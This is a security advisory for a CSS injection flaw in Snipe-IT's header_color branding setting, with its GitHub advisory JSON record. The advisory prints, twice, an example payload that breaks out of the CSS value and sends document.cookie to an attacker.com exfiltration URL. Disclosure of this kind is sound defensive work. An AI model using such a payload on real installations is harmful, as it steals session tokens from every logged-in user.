GHSA-W7QW-5WFV-GWX9

Vulnerability from github – Published: 2026-08-28 18:04 – Updated: 2026-08-28 18:04
VLAI
Summary
Snipe-IT has CSS Injection via `header_color` Setting
Details

Impact

Because default.blade.php is the base layout loaded on every authenticated page, all active user sessions are affected immediately upon the next page load after the payload is saved. An attacker who has compromised an admin account (or who is a malicious insider) can use this to silently exfiltrate session tokens from all other users, including other administrators.

Additionally, the Content Security Policy is disabled by default in Snipe-IT installations, which removes the primary browser-level mitigation for this class of attack.

Details

The header_color setting (and related color settings such as nav_color and link_color) is rendered inside a CSS <style> block using Laravel's {{ }} syntax:

--main-theme-color: {{ $snipeSettings->header_color ?? '#3c8dbc' }};

Although {{ }} applies HTML entity encoding, this is insufficient in a CSS context. An attacker with superadmin access to the Settings > Branding page can inject arbitrary CSS by setting the header_color value to something like:

    #fff; } body { background: url('[https://attacker.com/exfil?c='+document.cookie](https://attacker.com/exfil?c=%27+document.cookie)); } .x {

This breaks out of the CSS property value and injects a new rule that executes in the context of every authenticated user's browser on every page load.

Patches

Patched in https://github.com/grokability/snipe-it/pull/19097

Workarounds

Enable CSP in your .env file.

Severity
6.2 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.6.1"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "snipe/snipe-it"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.6.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55481"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T18:04:29Z",
    "nvd_published_at": "2026-07-10T20:16:47Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nBecause `default.blade.php` is the base layout loaded on every authenticated page, all active user sessions are affected immediately upon the next page load after the payload is saved. An attacker who has compromised an admin account (or who is a malicious insider) can use this to silently exfiltrate session tokens from all other users, including other administrators.\n\nAdditionally, the Content Security Policy is disabled by default in Snipe-IT installations, which removes the primary browser-level mitigation for this class of attack.\n\n\n### Details\nThe `header_color` setting (and related color settings such as `nav_color` and `link_color`) is rendered inside a CSS `\u003cstyle\u003e` block using Laravel\u0027s `{{ }}` syntax:\n\n```\n--main-theme-color: {{ $snipeSettings-\u003eheader_color ?? \u0027#3c8dbc\u0027 }};\n```\n\nAlthough `{{ }}` applies HTML entity encoding, this is insufficient in a CSS context. An attacker with superadmin access to the `Settings \u003e Branding` page can inject arbitrary CSS by setting the `header_color` value to something like:\n\n```\n    #fff; } body { background: url(\u0027[https://attacker.com/exfil?c=\u0027+document.cookie](https://attacker.com/exfil?c=%27+document.cookie)); } .x {\n```\n\nThis breaks out of the CSS property value and injects a new rule that executes in the context of every authenticated user\u0027s browser on every page load.\n\n### Patches\nPatched in https://github.com/grokability/snipe-it/pull/19097\n\n### Workarounds\nEnable CSP in your .env file.",
  "id": "GHSA-w7qw-5wfv-gwx9",
  "modified": "2026-08-28T18:04:29Z",
  "published": "2026-08-28T18:04:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/grokability/snipe-it/security/advisories/GHSA-w7qw-5wfv-gwx9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55481"
    },
    {
      "type": "WEB",
      "url": "https://github.com/grokability/snipe-it/pull/19097"
    },
    {
      "type": "WEB",
      "url": "https://github.com/grokability/snipe-it/commit/c31190a128ec96fb34000a2f27eae198b1a51d40"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/grokability/snipe-it"
    },
    {
      "type": "WEB",
      "url": "https://github.com/grokability/snipe-it/releases/tag/v8.6.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Snipe-IT has CSS Injection via `header_color` Setting"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.